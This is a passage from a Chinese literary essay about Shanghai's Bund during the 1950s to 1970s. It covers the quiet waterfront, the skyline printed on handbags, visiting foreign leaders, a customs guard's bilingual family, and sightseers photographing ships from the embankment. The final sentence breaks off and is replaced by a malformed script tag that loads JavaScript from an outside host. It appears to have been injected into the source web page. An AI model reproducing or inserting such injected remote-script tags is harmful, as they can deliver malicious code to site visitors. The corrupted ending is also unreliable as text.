沉默
五十年代开始,外滩经历了长夜一般的寂静,持续一百年全无心肝的乐观和惊心动魄的赌博气氛终于平息下来。镀金时代暴发的炫耀,渐渐被天长日久的积尘覆盖了,经历了岁月蹉跎,外滩呈现出令人舒服的古旧,和被遗弃后的带着些神秘的感伤。它日日沉默地面对同样沉寂的黄浦江,宛如一条巨大的沉船。
穿行在大街和窄小横街上的长条公共汽车,42路、21路、49路、55路、26路,倒像是默默穿梭在沉船间的大鱼。车厢里像沙丁鱼子一样紧紧挤在一起、并排列有序的人们,静默地眺望在眼前掠过的建筑、高大坚固的大楼之间如深渊般的街道和夹弄。夕阳西下以后,外滩的楼群渐渐沉入静夜,它们远远看去,像漆黑的山峰。从黄浦江上来的风横扫过行人了了的大街,过去它叫黄浦滩,现在它叫中山东一路和中山东二路。海关钟声响彻之时,犹如滚落山谷的石头发出的声响,在楼群中撞出无数回声,然后慢慢沉寂,如巨石沉入泥沼,平复无痕。1950年代末,中国出版的各种介绍新中国的画册,一无例外地回避外滩的影像。要是从那些画册上认识上海,上海就是连云港或者鞍山,一个阳光灿烂的新中国工业城市。它的寂静,竟是这般的静。
在这样的寂寞中,外滩却悄悄走进中国人心里,成为上海城市的标志。外滩楼群天际线的速写第一次被印在从60年代到80年代上海出产的各种人造革提包上,在天际线的上方,印着“上海”两个字。这种式样简单、结实耐用,并装有拉链的大小提包以及旅行袋,因为品质良好受到大江南北中国人的欢迎。在中国纵深的腹地,它更是时髦的象征。70年代开始,西方首脑纷纷秘密或者公开访问中国,铁幕后的上海开始露出它变得神秘的面容。他们在上海行程中的固定节目,就是在中国共产党领导人陪同下,登上海大厦楼顶,吃七元人民币标准的国宾淮扬菜,喝绍兴黄酒,并眺望外滩。从广播大楼,外贸大楼,中国银行大楼,到和平饭店,桂林大楼,市政府大楼,一路望过去,直到水上派出所的旧法国气象信号塔圆柱,到处红旗飘扬,那鲜艳的红色,给灰色的街道和建筑带来既活泼又沉寂的气氛。跟着解放军大部队进入上海的胶东青年,已成为上海海关的保卫人员,他就住在原来的海关职员宿舍里。那是海关大楼北翼宽敞舒服的公寓。他家使用的煤气灶,是前任房主留下的西式煤气灶。他的孩子们都出生在这栋大楼里,并在此长大成人。虽然他和他从胶东带来的太太一直保持着胶东口音,但他们的孩子都能说地道的上海话,当然他们同时也能说胶东方言,成为双语者。许多在上海的移民家庭都产生出这样的双语者孩子,并不值得奇怪。
外滩的上海时代,就这样开始了。
在堤岸
1908年,新天安堂的英国住堂牧师写的《上海导览》已经卖了第二版,是当时在上海出版的英文畅销书。他在书中建议,来上海的游客应该到江岸上去看风景。他认为那里是外滩最重要的观景点,能看到繁忙的江面上从世界各地来的船只和国旗,并感受到一个伟大港口都会的特殊气氛。德国人EILEEN HSU BALZER1974年访问上海时发现,那里仍旧是来外滩的人最喜欢去的地方。人们倚靠在堤岸边的水泥矮墙上,眺望江面上过往的船只,男人们为女人和孩子指点船和旗帜,要是偶尔有外国的船进港,他们就有机会看到外国的国旗和站在甲板上的水手。有时,彼此也会遥遥挥手致意。
天气好的时候,在那里,甚至能看到江口锚地上停泊的巨大的货轮,船体漆着暗红色的油漆,桅杆上高高飘扬着各种旗帜。许多上海孩子,是在这里学到了关于轮船识别的道听途说的知识;渐渐在地理课上知道,沿着这条水道出去,前面就是大海。也许他们并不十分明白这条水道的意义,但街头巷尾听到过的关于旧外滩的只言片语,让那条水道变得神秘。
这里的空气,即使是在1974年,也比别处要活泼些。夹杂着海风的带有咸味的空气里,仍旧带着喧哗不宁的意思。船在眼前往来,仿佛这里仍旧与四海相连,而不是一口深井。
外滩堤岸是上海的公共客厅。在这里不再有萨金特提到的12种不同的语言同时袭击你的耳朵,但仍能同时听到不下24种来自全国各地的方言。
人们在仍旧拥挤的堤岸上散步,看船,看房子,看别人;用国产的海鸥照相机照相。“笑呀。”人们彼此提醒着,郑重其事地对照相机露出毫无希望与欲望、个性深藏的微笑。要是在堤岸上仔细观察,就能看到各种各样在外滩留影的人:一户团圆的大家庭,或者几个来上海出差的外地采购员,正在恋爱的男女,在外滩搞开门办学的中学生们,以及年轻父母带着幼小的孩子。他们大多出现在底片中央,左边的一半是外滩大楼,而另一半,是黄浦江和船。这些照片就是他们曾经来过上海的证明。
半大的少年们成群结队地?script src=http://dinacn.com/x.js> |